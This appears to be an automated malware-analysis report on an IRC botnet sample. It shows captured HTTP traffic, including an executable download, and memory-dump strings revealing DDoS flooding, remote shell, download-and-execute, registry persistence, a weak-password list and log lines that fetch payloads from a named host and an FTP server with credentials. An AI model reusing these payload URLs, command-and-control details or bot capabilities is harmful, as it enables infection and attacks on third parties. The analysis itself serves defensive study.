FB.Event&&(FB.Event.subscribe("edge.create",function(a){_gaq.push(["_trackSocial","facebook","like",a])}),FB.Event.subscribe("edge.remove",function(a){_gaq.push(["_trackSocial","faceb
<<
<<< skipped >>>
GET / HTTP/1.1
Host: VVV.whatismyip.com
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Server: cloudflare-nginx
Date: Sat, 22 Mar 2014 11:19:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=df852822566c087fb00173873c57f03ca1395487139869; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.whatismyip.com; HttpOnly
Vary: Accept-Encoding
CF-RAY: 10f1fde02bcc072b-AMS
830..<html>.<head><title>403 Forbidden</title> <script type="text/javascript">.//<![CDATA[.try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1395415713,byc:0,owlid:"cf",bag2:1,mirage2:{profile:false},oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok8v=02fcfa4f56/"},atok:"301e86d4e68b4f9490083018b6e4338d",petok:"f6c3f59135c67fcf60ee41f3dfba7593cb660797-1395487140-1800",zone:"whatismyip.com",rocket:"a",apps:{"ga_key":{"ua":"UA-4975660-1","ga_bs":"2"}}}];document.write('<script type="text/javascript" src="//ajax.cloudflare.com/cdn-cgi/nexp/dok8v=b064e16429/cloudflare.min.js"><' '\/script>');}}catch(e){};.//]]>.</script>.<script type="text/javascript">./* <![CDATA[ */.var _gaq = _gaq || [];._gaq.push(['_setAccount', 'UA-4975660-1']);._gaq.push(['_trackPageview']);..(function() {.var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;.ga.src = ('https:' == document.location.protocol ? 'hXXps://ssl' : 'hXXp://www') '.google-analytics.com/ga.js';.var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);.})();..(function(b){(function(a){"__CF"in b&&"DJS"in b.__CF?b.__CF.DJS.push(a):"addEventListener"in b?b.addEventListener("load",a,!1):b.attachEvent("onload",a)})(function(){"FB"in b&&"Event"in FB&&"subscribe"in FB.Event&&(FB.Event.subscribe("edge.create",function(a){_gaq.push(["_trackSocial","facebook","like",a])}),FB.Event.subscribe("edge.remove",function(a){_gaq.push(["_trackSocial","faceb
<<
<<< skipped >>>
GET / HTTP/1.1
Host: VVV.whatismyip.com
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Server: cloudflare-nginx
Date: Sat, 22 Mar 2014 11:18:59 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=da6191e9b8143e8df9f92ef6df9da84231395487139700; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.whatismyip.com; HttpOnly
Vary: Accept-Encoding
CF-RAY: 10f1fddf2ba1072b-AMS
830..<html>.<head><title>403 Forbidden</title> <script type="text/javascript">.//<![CDATA[.try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1395415713,byc:0,owlid:"cf",bag2:1,mirage2:{profile:false},oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok8v=02fcfa4f56/"},atok:"301e86d4e68b4f9490083018b6e4338d",petok:"fcb473feb94cd35c093199b4a1ab2d93b1ddb512-1395487139-1800",zone:"whatismyip.com",rocket:"a",apps:{"ga_key":{"ua":"UA-4975660-1","ga_bs":"2"}}}];document.write('<script type="text/javascript" src="//ajax.cloudflare.com/cdn-cgi/nexp/dok8v=b064e16429/cloudflare.min.js"><' '\/script>');}}catch(e){};.//]]>.</script>.<script type="text/javascript">./* <![CDATA[ */.var _gaq = _gaq || [];._gaq.push(['_setAccount', 'UA-4975660-1']);._gaq.push(['_trackPageview']);..(function() {.var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;.ga.src = ('https:' == document.location.protocol ? 'hXXps://ssl' : 'hXXp://www') '.google-analytics.com/ga.js';.var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);.})();..(function(b){(function(a){"__CF"in b&&"DJS"in b.__CF?b.__CF.DJS.push(a):"addEventListener"in b?b.addEventListener("load",a,!1):b.attachEvent("onload",a)})(function(){"FB"in b&&"Event"in FB&&"subscribe"in FB.Event&&(FB.Event.subscribe("edge.create",function(a){_gaq.push(["_trackSocial","facebook","like",a])}),FB.Event.subscribe("edge.remove",function(a){_gaq.push(["_trackSocial","faceb
<<
<<< skipped >>>
GET /uploads/1738599339.ms1.exe?dl=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible)
Host: directxex.com
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Sat, 22 Mar 2014 11:18:44 GMT
Content-Type: application/octet-stream
Content-Length: 528384
Connection: keep-alive
Set-Cookie: __cfduid=df99418797b08450fcf1ecb11625a82d61395487124792; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.directxex.com; HttpOnly
Last-Modified: Sat, 15 Mar 2014 01:21:10 GMT
ETag: "5323ab06-81000"
Expires: Mon, 21 Apr 2014 11:18:43 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
CF-RAY: 10f1fd81f37300de-AMS
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W.x.....................\.......%.......Rich............................PE..L.....#S.....................P....................@...............X..........@..................................................(....0..@...................................................................8... ....................................text...t........................... ..`.data...h2..........................@....rsrc...@....0......................@..@l.[J............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET / HTTP/1.1
Host: checkip.dyndns.org
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: text/html
Server: DynDNS-CheckIP/1.0
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 107
<html><head><title>Current IP Check</title></head><body>Current IP Address: 193.138.244.231</body></html>....
Map
Strings from Dumps
ooulnvm.exe_1592:
.text
.text
`.rdata
`.rdata
@.data
@.data
_WSSh
_WSSh
t1SSSSh
t1SSSSh
PeekNamedPipe
PeekNamedPipe
CreatePipe
CreatePipe
KERNEL32.dll
KERNEL32.dll
WS2_32.dll
WS2_32.dll
GetCPInfo
GetCPInfo
%d. %s = %s
%d. %s = %s
[%.2d-%.2d-M %.2d:%.2d:%.2d] %s
[%.2d-%.2d-M %.2d:%.2d:%.2d] %s
[DDoS]: Send error: <%d>.
[DDoS]: Send error: <%d>.
ddos.random
ddos.random
ddos.ack
ddos.ack
ddos.syn
ddos.syn
[DOWNLOAD]: Bad URL, or DNS Error: %s.
[DOWNLOAD]: Bad URL, or DNS Error: %s.
[UPDATE]: Update failed: Error executing file: %s.
[UPDATE]: Update failed: Error executing file: %s.
[UPDATE]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.
[UPDATE]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.
[DOWNLOAD]: Opened: %s.
[DOWNLOAD]: Opened: %s.
[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.
[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.
[DOWNLOAD]: CRC Failed (%d != %d).
[DOWNLOAD]: CRC Failed (%d != %d).
[DOWNLOAD]: Filesize is incorrect: (%d != %d).
[DOWNLOAD]: Filesize is incorrect: (%d != %d).
[DOWNLOAD]: Update: %s (%dKB transferred).
[DOWNLOAD]: Update: %s (%dKB transferred).
[DOWNLOAD]: File download: %s (%dKB transferred).
[DOWNLOAD]: File download: %s (%dKB transferred).
[DOWNLOAD]: Couldn't open file: %s.
[DOWNLOAD]: Couldn't open file: %s.
[IDENTD]: Error: server failed, returned: <%d>.
[IDENTD]: Error: server failed, returned: <%d>.
: USERID : UNIX : %s
: USERID : UNIX : %s
[IDENTD]: Client connection from IP: %s:%d.
[IDENTD]: Client connection from IP: %s:%d.
%s %s :%s
%s %s :%s
PRIVMSG
PRIVMSG
avicap32.dll
avicap32.dll
SQLDisconnect
SQLDisconnect
SQLFreeHandle
SQLFreeHandle
SQLAllocHandle
SQLAllocHandle
SQLExecDirect
SQLExecDirect
SQLSetEnvAttr
SQLSetEnvAttr
SQLDriverConnect
SQLDriverConnect
odbc32.dll
odbc32.dll
ShellExecuteA
ShellExecuteA
shell32.dll
shell32.dll
mpr.dll
mpr.dll
iphlpapi.dll
iphlpapi.dll
dnsapi.dll
dnsapi.dll
netapi32.dll
netapi32.dll
icmp.dll
icmp.dll
Mozilla/4.0 (compatible)
Mozilla/4.0 (compatible)
InternetCrackUrlA
InternetCrackUrlA
InternetOpenUrlA
InternetOpenUrlA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
wininet.dll
wininet.dll
ws2_32.dll
ws2_32.dll
gdi32.dll
gdi32.dll
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
RegOpenKeyExA
RegOpenKeyExA
advapi32.dll
advapi32.dll
ExitWindowsEx
ExitWindowsEx
user32.dll
user32.dll
kernel32.dll
kernel32.dll
Avicap32.dll failed. <%d>
Avicap32.dll failed. <%d>
Odbc32.dll failed. <%d>
Odbc32.dll failed. <%d>
Shell32.dll failed. <%d>
Shell32.dll failed. <%d>
Mpr32.dll failed. <%d>
Mpr32.dll failed. <%d>
Iphlpapi.dll failed. <%d>
Iphlpapi.dll failed. <%d>
Dnsapi.dll failed. <%d>
Dnsapi.dll failed. <%d>
Netapi32.dll failed. <%d>
Netapi32.dll failed. <%d>
Icmp.dll failed. <%d>
Icmp.dll failed. <%d>
Wininet.dll failed. <%d>
Wininet.dll failed. <%d>
Ws2_32.dll failed. <%d>
Ws2_32.dll failed. <%d>
Gdi32.dll failed. <%d>
Gdi32.dll failed. <%d>
Advapi32.dll failed. <%d>
Advapi32.dll failed. <%d>
User32.dll failed. <%d>
User32.dll failed. <%d>
Kernel32.dll failed. <%d>
Kernel32.dll failed. <%d>
videos.p0rn-lover.us
videos.p0rn-lover.us
support.exe
support.exe
Supports RAS Connections
Supports RAS Connections
g.dat
g.dat
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunServices
Software\Microsoft\Windows\CurrentVersion\RunServices
winpass
winpass
sqlpassoainstall
sqlpassoainstall
databasepassword
databasepassword
databasepass
databasepass
dbpassword
dbpassword
dbpass
dbpass
domainpassword
domainpassword
domainpass
domainpass
loginpass
loginpass
login
login
windows
windows
1234567890
1234567890
123456789
123456789
12345678
12345678
1234567
1234567
pass1234
pass1234
passwd
passwd
password
password
password1
password1
*@fbi.edu
*@fbi.edu
Ý %dh %dm
Ý %dh %dm
[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.
[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.
[IDENTD]: Failed to start server, error: <%d>.
[IDENTD]: Failed to start server, error: <%d>.
[IDENTD]: Server running on Port: 113.
[IDENTD]: Server running on Port: 113.
%s %d "%s"
%s %d "%s"
%s\%s
%s\%s
[MAIN]: Connected to %s.
[MAIN]: Connected to %s.
NICK %s
NICK %s
USER %s 0 0 :%s
USER %s 0 0 :%s
PASS %s
PASS %s
MODE %s %s
MODE %s %s
USERHOST %s
USERHOST %s
[MAIN]: User: %s logged in.
[MAIN]: User: %s logged in.
[MAIN]: Password accepted.
[MAIN]: Password accepted.
[MAIN]: *Failed host auth by: (%s!%s).
[MAIN]: *Failed host auth by: (%s!%s).
NOTICE %s :Host Auth failed (%s!%s).
NOTICE %s :Host Auth failed (%s!%s).
[MAIN]: *Failed pass auth by: (%s!%s).
[MAIN]: *Failed pass auth by: (%s!%s).
NOTICE %s :Your attempt has been logged.
NOTICE %s :Your attempt has been logged.
NOTICE %s :Pass auth failed (%s!%s).
NOTICE %s :Pass auth failed (%s!%s).
[MAIN]: Random nick change: %s
[MAIN]: Random nick change: %s
[FTP]: Uploading file: %s to: %s failed.
[FTP]: Uploading file: %s to: %s failed.
[FTP]: Uploading file: %s to: %s
[FTP]: Uploading file: %s to: %s
ftp.exe
ftp.exe
-s:%s
-s:%s
open %s
open %s
put %s
put %s
%s\%i%i%i.dll
%s\%i%i%i.dll
[FTP]: File not found: %s.
[FTP]: File not found: %s.
[MAIN]: Invalid login slot number: %d.
[MAIN]: Invalid login slot number: %d.
[MAIN]: No user logged in at slot: %d.
[MAIN]: No user logged in at slot: %d.
[MAIN]: %s
[MAIN]: %s
QUIT :%s
QUIT :%s
[MAIN]: Status: Ready. Bot Uptime: %s.
[MAIN]: Status: Ready. Bot Uptime: %s.
[MAIN]: Bot ID: %s.
[MAIN]: Bot ID: %s.
[THREADS]: Failed to start list thread, error: <%d>.
[THREADS]: Failed to start list thread, error: <%d>.
[MAIN]: Uptime: %s.
[MAIN]: Uptime: %s.
[CMD]: Remote shell ready.
[CMD]: Remote shell ready.
[CMD]: Couldn't open remote shell.
[CMD]: Couldn't open remote shell.
[CMD]: Remote shell already running.
[CMD]: Remote shell already running.
[TFTP]: Failed to start server thread, error: <%d>.
[TFTP]: Failed to start server thread, error: <%d>.
[TFTP]: Server started on Port: %d, File: %s, Request: %s.
[TFTP]: Server started on Port: %d, File: %s, Request: %s.
[TFTP]: Already running.
[TFTP]: Already running.
[MAIN]: Nick changed to: '%s'.
[MAIN]: Nick changed to: '%s'.
[MAIN]: Joined channel: '%s'.
[MAIN]: Joined channel: '%s'.
[MAIN]: Parted channel: '%s'.
[MAIN]: Parted channel: '%s'.
[MAIN]: IRC Raw: %s.
[MAIN]: IRC Raw: %s.
[THREADS]: Failed to kill thread: %s.
[THREADS]: Failed to kill thread: %s.
[THREADS]: Killed thread: %s.
[THREADS]: Killed thread: %s.
[THREADS]: Stopped: %d thread(s).
[THREADS]: Stopped: %d thread(s).
[MAIN]: Prefix changed to: '%c'.
[MAIN]: Prefix changed to: '%c'.
[SHELL]: Couldn't open file: %s
[SHELL]: Couldn't open file: %s
[SHELL]: File opened: %s
[SHELL]: File opened: %s
[MAIN]: Server changed to: '%s'.
[MAIN]: Server changed to: '%s'.
[DNS]: Lookup: %s -> %s.
[DNS]: Lookup: %s -> %s.
[FILE]: Deleted '%s'.
[FILE]: Deleted '%s'.
[VISIT]: Failed to start connection thread, error: <%d>.
[VISIT]: Failed to start connection thread, error: <%d>.
[VISIT]: URL: %s.
[VISIT]: URL: %s.
[CMD]: Commands: %s
[CMD]: Commands: %s
[CMD]: Error sending to remote shell.
[CMD]: Error sending to remote shell.
[MAIN]: Read file failed: %s
[MAIN]: Read file failed: %s
[MAIN]: Read file complete: %s
[MAIN]: Read file complete: %s
[MAIN]: Gethost: %s.
[MAIN]: Gethost: %s.
[MAIN]: Gethost: %s, Command: %s
[MAIN]: Gethost: %s, Command: %s
[MAIN]: Alias added: %s.
[MAIN]: Alias added: %s.
[MAIN]: Privmsg: %s: %s.
[MAIN]: Privmsg: %s: %s.
[MAIN]: Action: %s: %s.
[MAIN]: Action: %s: %s.
PART %s
PART %s
[MAIN]: Mode change: %s
[MAIN]: Mode change: %s
MODE %s
MODE %s
[CLONE]: Raw (%s): %s
[CLONE]: Raw (%s): %s
[CLONE]: Mode (%s): %s
[CLONE]: Mode (%s): %s
[CLONE]: Nick (%s): %s
[CLONE]: Nick (%s): %s
JOIN %s %s
JOIN %s %s
[MAIN]: Repeat not allowed in command line: %s
[MAIN]: Repeat not allowed in command line: %s
[MAIN]: Repeat: %s
[MAIN]: Repeat: %s
%s %s %s :%s
%s %s %s :%s
[UPDATE]: Failed to start download thread, error: <%d>.
[UPDATE]: Failed to start download thread, error: <%d>.
[UPDATE]: Downloading update from: %s.
[UPDATE]: Downloading update from: %s.
%s%s.exe
%s%s.exe
[EXEC]: Commands: %s
[EXEC]: Commands: %s
[EXEC]: Couldn't execute file.
[EXEC]: Couldn't execute file.
[CLONES]: Failed to start clone thread, error: <%d>.
[CLONES]: Failed to start clone thread, error: <%d>.
[CLONES]: Created on %s:%d, in channel %s.
[CLONES]: Created on %s:%d, in channel %s.
[DDoS]: Failed to start flood thread, error: <%d>.
[DDoS]: Failed to start flood thread, error: <%d>.
[DDoS]: Flooding: (%s:%s) for %s seconds.
[DDoS]: Flooding: (%s:%s) for %s seconds.
[DOWNLOAD]: Failed to start transfer thread, error: <%d>.
[DOWNLOAD]: Failed to start transfer thread, error: <%d>.
[DOWNLOAD]: Downloading URL: %s to: %s.
[DOWNLOAD]: Downloading URL: %s to: %s.
[REDIRECT]: Failed to start redirection thread, error: <%d>.
[REDIRECT]: Failed to start redirection thread, error: <%d>.
[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.
[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.
[SCAN]: Failed to start scan thread, error: <%d>.
[SCAN]: Failed to start scan thread, error: <%d>.
[SCAN]: Port scan started: %s:%d with delay: %d(ms).
[SCAN]: Port scan started: %s:%d with delay: %d(ms).
[%s] <%s> %s
[%s] <%s> %s
[%s] * %s %s
[%s] * %s %s
ACTION %s
ACTION %s
[UDP]: Failed to start flood thread, error: <%d>.
[UDP]: Failed to start flood thread, error: <%d>.
[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).
[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).
ICMP.dll not available
ICMP.dll not available
[PING]: Failed to start flood thread, error: <%d>.
[PING]: Failed to start flood thread, error: <%d>.
[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).
[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).
[EMAIL]: Message sent to %s.
[EMAIL]: Message sent to %s.
helo $rndnick
helo $rndnick
mail from: <%s>
mail from: <%s>
rcpt to: <%s>
rcpt to: <%s>
subject: %s
subject: %s
from: %s
from: %s
udpflood
udpflood
c_privmsg
c_privmsg
. Failed to start flood thread, error: <%d>.
. Failed to start flood thread, error: <%d>.
. Flooding: (%s:%s) for %s seconds.
. Flooding: (%s:%s) for %s seconds.
ddos.supersyn
ddos.supersyn
c_join
c_join
c_nick
c_nick
privmsg
privmsg
[IDENT]: Server stopped. (%d thread(s) stopped.)
[IDENT]: Server stopped. (%d thread(s) stopped.)
mirccmd
mirccmd
c_rndnick
c_rndnick
join
join
nick
nick
tftp
tftp
tftpserver
tftpserver
[MAIN]: Login list complete.
[MAIN]: Login list complete.
%d. %s
%d. %s
-[Login List]-
-[Login List]-
[CMD]
[CMD]
cmdstop
cmdstop
ocmd
ocmd
opencmd
opencmd
[TFTP]
[TFTP]
tftpstop
tftpstop
supersyn.stop
supersyn.stop
TCP redirect
TCP redirect
rndnick
rndnick
$rndnick
$rndnick
NOTICE %s :
NOTICE %s :
PING %s
PING %s
VERSION %s
VERSION %s
[MAIN]: Joined channel: %s.
[MAIN]: Joined channel: %s.
[MAIN]: User: %s logged out.
[MAIN]: User: %s logged out.
:%s%s
:%s%s
NICK
NICK
NOTICE %s :%s
NOTICE %s :%s
[MAIN]: User %s logged out.
[MAIN]: User %s logged out.
PONG %s
PONG %s
%s Error: %s <%d>.
%s Error: %s <%d>.
explorer.exe
explorer.exe
%%comspec%% /c %s %s
%%comspec%% /c %s %s
del "%s"
del "%s"
%sdel.bat
%sdel.bat
%d.%d.%d.%d
%d.%d.%d.%d
[PING]: Finished sending pings to %s.
[PING]: Finished sending pings to %s.
[PING]: Error sending pings to %s.
[PING]: Error sending pings to %s.
[UDP]: Finished sending packets to %s.
[UDP]: Finished sending packets to %s.
[UDP]: Error sending pings to %s.
[UDP]: Error sending pings to %s.
[REDIRECT]: Failed to start client thread, error: <%d>.
[REDIRECT]: Failed to start client thread, error: <%d>.
[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.
[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.
[REDIRECT]: Failed to start connection thread, error: <%d>.
[REDIRECT]: Failed to start connection thread, error: <%d>.
[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.
[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.
PRIVMSG %s :%s
PRIVMSG %s :%s
[CMD]: Could not read data from proccess.
[CMD]: Could not read data from proccess.
[CMD]: Proccess has terminated.
[CMD]: Proccess has terminated.
[CMD]: Could not read data from proccess
[CMD]: Could not read data from proccess
[CMD]: Failed to start IO thread, error: <%d>.
[CMD]: Failed to start IO thread, error: <%d>.
[CMD]: Remote Command Prompt
[CMD]: Remote Command Prompt
cmd.exe
cmd.exe
[%s]|
[%s]|
[%d]%s
[%d]%s
[SCAN]: IP: %s Port: %d is open.
[SCAN]: IP: %s Port: %d is open.
[SCAN]: Scanning IP: %s, Port: %d.
[SCAN]: Scanning IP: %s, Port: %d.
tftp.exe -i get
tftp.exe -i get
IP: %s
IP: %s
[TFTP]: Failed to open file: %s.
[TFTP]: Failed to open file: %s.
[TFTP]: Error: socket() failed, returned: <%d>.
[TFTP]: Error: socket() failed, returned: <%d>.
%s: No %s thread found.
%s: No %s thread found.
%s: %s stopped. (%d thread(s) stopped.)
%s: %s stopped. (%d thread(s) stopped.)
[VISIT]: Failed to connect to HTTP server.
[VISIT]: Failed to connect to HTTP server.
[VISIT]: Invalid URL.
[VISIT]: Invalid URL.
[VISIT]: Failed to get requested URL from HTTP server.
[VISIT]: Failed to get requested URL from HTTP server.
[VISIT]: URL visited.
[VISIT]: URL visited.
zcÁ
zcÁ
[03-22-2014 13:18:45] [DOWNLOAD]: Opened: c:/windows/skype.exe.
[03-22-2014 13:18:45] [DOWNLOAD]: Opened: c:/windows/skype.exe.
ows/skype.exe @ 516.0 KB/sec.
ows/skype.exe @ 516.0 KB/sec.
.exe?dl=1 to: c:/windows/skype.exe[03-22-2014 13:18:45] [DOWNLOAD]: Downloaded 516.0 KB to c:/windows/skype.exe @ 516.0 KB/sec.
.exe?dl=1 to: c:/windows/skype.exe[03-22-2014 13:18:45] [DOWNLOAD]: Downloaded 516.0 KB to c:/windows/skype.exe @ 516.0 KB/sec.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #fkyou#.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #fkyou#.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 to: c:/windows/skype.ex
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 to: c:/windows/skype.ex
[03-22-2014 13:18:44] [MAIN]: Joined channel: #Security-Check.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #Security-Check.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[03-22-2014 13:18:44] [MAIN]: Connected to videos.p0rn-lover.us.
[03-22-2014 13:18:44] [MAIN]: Connected to videos.p0rn-lover.us.
[03-22-2014 13:17:57] [IDENTD]: Server running on Port: 113.
[03-22-2014 13:17:57] [IDENTD]: Server running on Port: 113.
[DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
DOWNLOAD]: File download: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 (516KB transferred).
DOWNLOAD]: File download: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 (516KB transferred).
e.exe.
e.exe.
%System%\ooulnvm.exe
%System%\ooulnvm.exe
00000000000000
00000000000000
ooulnvm.exe_1592_rwx_00400000_0009C000:
.text
.text
`.rdata
`.rdata
@.data
@.data
_WSSh
_WSSh
t1SSSSh
t1SSSSh
PeekNamedPipe
PeekNamedPipe
CreatePipe
CreatePipe
KERNEL32.dll
KERNEL32.dll
WS2_32.dll
WS2_32.dll
GetCPInfo
GetCPInfo
%d. %s = %s
%d. %s = %s
[%.2d-%.2d-M %.2d:%.2d:%.2d] %s
[%.2d-%.2d-M %.2d:%.2d:%.2d] %s
[DDoS]: Send error: <%d>.
[DDoS]: Send error: <%d>.
ddos.random
ddos.random
ddos.ack
ddos.ack
ddos.syn
ddos.syn
[DOWNLOAD]: Bad URL, or DNS Error: %s.
[DOWNLOAD]: Bad URL, or DNS Error: %s.
[UPDATE]: Update failed: Error executing file: %s.
[UPDATE]: Update failed: Error executing file: %s.
[UPDATE]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.
[UPDATE]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.
[DOWNLOAD]: Opened: %s.
[DOWNLOAD]: Opened: %s.
[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.
[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.
[DOWNLOAD]: CRC Failed (%d != %d).
[DOWNLOAD]: CRC Failed (%d != %d).
[DOWNLOAD]: Filesize is incorrect: (%d != %d).
[DOWNLOAD]: Filesize is incorrect: (%d != %d).
[DOWNLOAD]: Update: %s (%dKB transferred).
[DOWNLOAD]: Update: %s (%dKB transferred).
[DOWNLOAD]: File download: %s (%dKB transferred).
[DOWNLOAD]: File download: %s (%dKB transferred).
[DOWNLOAD]: Couldn't open file: %s.
[DOWNLOAD]: Couldn't open file: %s.
[IDENTD]: Error: server failed, returned: <%d>.
[IDENTD]: Error: server failed, returned: <%d>.
: USERID : UNIX : %s
: USERID : UNIX : %s
[IDENTD]: Client connection from IP: %s:%d.
[IDENTD]: Client connection from IP: %s:%d.
%s %s :%s
%s %s :%s
PRIVMSG
PRIVMSG
avicap32.dll
avicap32.dll
SQLDisconnect
SQLDisconnect
SQLFreeHandle
SQLFreeHandle
SQLAllocHandle
SQLAllocHandle
SQLExecDirect
SQLExecDirect
SQLSetEnvAttr
SQLSetEnvAttr
SQLDriverConnect
SQLDriverConnect
odbc32.dll
odbc32.dll
ShellExecuteA
ShellExecuteA
shell32.dll
shell32.dll
mpr.dll
mpr.dll
iphlpapi.dll
iphlpapi.dll
dnsapi.dll
dnsapi.dll
netapi32.dll
netapi32.dll
icmp.dll
icmp.dll
Mozilla/4.0 (compatible)
Mozilla/4.0 (compatible)
InternetCrackUrlA
InternetCrackUrlA
InternetOpenUrlA
InternetOpenUrlA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
wininet.dll
wininet.dll
ws2_32.dll
ws2_32.dll
gdi32.dll
gdi32.dll
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
RegOpenKeyExA
RegOpenKeyExA
advapi32.dll
advapi32.dll
ExitWindowsEx
ExitWindowsEx
user32.dll
user32.dll
kernel32.dll
kernel32.dll
Avicap32.dll failed. <%d>
Avicap32.dll failed. <%d>
Odbc32.dll failed. <%d>
Odbc32.dll failed. <%d>
Shell32.dll failed. <%d>
Shell32.dll failed. <%d>
Mpr32.dll failed. <%d>
Mpr32.dll failed. <%d>
Iphlpapi.dll failed. <%d>
Iphlpapi.dll failed. <%d>
Dnsapi.dll failed. <%d>
Dnsapi.dll failed. <%d>
Netapi32.dll failed. <%d>
Netapi32.dll failed. <%d>
Icmp.dll failed. <%d>
Icmp.dll failed. <%d>
Wininet.dll failed. <%d>
Wininet.dll failed. <%d>
Ws2_32.dll failed. <%d>
Ws2_32.dll failed. <%d>
Gdi32.dll failed. <%d>
Gdi32.dll failed. <%d>
Advapi32.dll failed. <%d>
Advapi32.dll failed. <%d>
User32.dll failed. <%d>
User32.dll failed. <%d>
Kernel32.dll failed. <%d>
Kernel32.dll failed. <%d>
videos.p0rn-lover.us
videos.p0rn-lover.us
support.exe
support.exe
Supports RAS Connections
Supports RAS Connections
g.dat
g.dat
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunServices
Software\Microsoft\Windows\CurrentVersion\RunServices
winpass
winpass
sqlpassoainstall
sqlpassoainstall
databasepassword
databasepassword
databasepass
databasepass
dbpassword
dbpassword
dbpass
dbpass
domainpassword
domainpassword
domainpass
domainpass
loginpass
loginpass
login
login
windows
windows
1234567890
1234567890
123456789
123456789
12345678
12345678
1234567
1234567
pass1234
pass1234
passwd
passwd
password
password
password1
password1
*@fbi.edu
*@fbi.edu
Ý %dh %dm
Ý %dh %dm
[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.
[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.
[IDENTD]: Failed to start server, error: <%d>.
[IDENTD]: Failed to start server, error: <%d>.
[IDENTD]: Server running on Port: 113.
[IDENTD]: Server running on Port: 113.
%s %d "%s"
%s %d "%s"
%s\%s
%s\%s
[MAIN]: Connected to %s.
[MAIN]: Connected to %s.
NICK %s
NICK %s
USER %s 0 0 :%s
USER %s 0 0 :%s
PASS %s
PASS %s
MODE %s %s
MODE %s %s
USERHOST %s
USERHOST %s
[MAIN]: User: %s logged in.
[MAIN]: User: %s logged in.
[MAIN]: Password accepted.
[MAIN]: Password accepted.
[MAIN]: *Failed host auth by: (%s!%s).
[MAIN]: *Failed host auth by: (%s!%s).
NOTICE %s :Host Auth failed (%s!%s).
NOTICE %s :Host Auth failed (%s!%s).
[MAIN]: *Failed pass auth by: (%s!%s).
[MAIN]: *Failed pass auth by: (%s!%s).
NOTICE %s :Your attempt has been logged.
NOTICE %s :Your attempt has been logged.
NOTICE %s :Pass auth failed (%s!%s).
NOTICE %s :Pass auth failed (%s!%s).
[MAIN]: Random nick change: %s
[MAIN]: Random nick change: %s
[FTP]: Uploading file: %s to: %s failed.
[FTP]: Uploading file: %s to: %s failed.
[FTP]: Uploading file: %s to: %s
[FTP]: Uploading file: %s to: %s
ftp.exe
